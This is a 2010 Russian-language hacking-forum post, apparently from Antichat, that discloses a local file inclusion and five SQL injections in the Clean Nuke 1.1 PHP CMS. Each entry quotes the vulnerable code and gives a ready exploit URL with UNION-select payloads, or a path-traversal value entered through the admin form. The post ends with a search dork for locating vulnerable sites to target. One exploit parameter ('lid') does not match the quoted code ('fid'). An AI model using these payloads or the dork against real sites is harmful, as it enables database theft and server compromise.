Показать сообщение отдельно

  #296  
Старый 05.01.2010, 00:06
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Clean Nuke 1.1


Продукт: Clean Nuke
Версия: 1.1
Автор: matteoiamma (phpnuke.org)
Скачать: http://sourceforge.net/projects/cleanuke/

Local File Include

Условия:
  1. Права администратора.

Уязвимая часть кода:
Сначала переменная $xlanguage заносится в БД в скрипте
Код:
/admin/modules/settings.php
PHP код:
...
$xlanguage addslashes(check_words(check_html($xlanguage"nohtml")));
...
    
$db->sql_query("UPDATE ".$prefix."_config SET ... language='$xlanguage' ...");
... 
Далее, из БД достается значение файла языка, и почти без всяческой фильтрации оно инклудится в файле:
Код:
/mainfile.php
PHP код:
$result $db->sql_query("SELECT * FROM ".$prefix."_config");
...
$language check_html($row['language'], "nohtml");
...
include_once(
"language/lang-".$language.".php"); 
PS: Функция check_html проверяет наличие HTML-кода в переменной, и она нам не страшна.

Эксплуатация:
В панели администратора, в модуле конфигурации (admin.php?op=Configure) изменяем исходный код страницы, вместо
Код:
<option name='xlanguage' value='english' >
вписываем любой файл, например
Код:
<option name='xlanguage' value='english/../../index' >
Кроме этого, если есть права на сервере (н.п. один и тот же хостинг), можно записать файл в папку /tmp, и проинклудить его.
SQL - Инъекция

Условия:
  1. magic_quotes = Off

Уязвимая часть кода:
Код:
/page.php
PHP код:
if (isset($_GET['pid'])){
$content_sql $db->sql_query("SELECT * FROM ".$prefix."_pages WHERE active = '1' AND pid = '".$_GET['pid']."'");

Эксплуатация:
Код:
http://site.ru/cleanuke/page.php?pid=1'+union+select+1,2,3,4,5%23
SQL - Инъекция

Условия:
  1. Права администратора.
  2. magic_quotes = Off

Уязвимая часть кода:
Код:
/admin/modules/authors.php
PHP код:
function modifyadmin($chng_aid) {
...
    
$row $db->sql_fetchrow($db->sql_query("SELECT aid, name, url, email, pwd, radminsuper, admlanguage from " $prefix "_authors where aid='$chng_aid'"));
... 
Эксплуатация:
Код:
http://site.ru/cleanuke/admin.php?op=modifyadmin&chng_aid=-1'+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7%23
SQL - Инъекция

Условия:
  1. Права администратора.
  2. magic_quotes = Off

Уязвимая часть кода:
Код:
/modules/News/admin/index.php
PHP код:
function editStory($sid) {
...
    
$result2 $db->sql_query("select aid from ".$prefix."_stories where sid='$sid'");
... 
Эксплуатация:
Код:
http://site.ru/cleanuke/admin.php?op=EditStory&sid=-1'+union+select+1,2,3,4,5,6,7,8,9%23
SQL - Инъекция

Условия:
  1. Права администратора.
  2. magic_quotes = Off

Уязвимая часть кода:
Код:
/admin/modules/content.php
PHP код:
if (isset($_POST['pid'])){
$pid=$_POST['pid'];
} elseif (isset(
$_GET['pid_mod'])){
$pid=$_GET['pid_mod'];
}
$sel_page=$db->sql_query("SELECT * FROM ".$prefix."_pages WHERE pid = '$pid'"); 
Эксплуатация:
Код:
http://site.ru/cleanuke/admin.php?op=content&pid_mod=-1'+union+select+1,2,3,4,5%23
SQL - Инъекция

Условия:
  1. Права администратора.

Уязвимая часть кода:
Код:
/admin/modules/feedbackplus.php
Код:
Line 119:
PHP код:
function editfeedback($fid) {
...
$result sql_query("SELECT * FROM $prefix"._feedbackplus." WHERE fid=$fid"$dbi);
... 
Эксплуатация:
Код:
http://site.ru/cleanuke/admin.php?op=editfeedback&lid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12
Дорк
Хотя название движка - Clean Nuke, дорк такой:
Код:
"Powered by WL-Nuke"

Последний раз редактировалось mailbrush; 07.01.2010 в 12:47..
 
Ответить с цитированием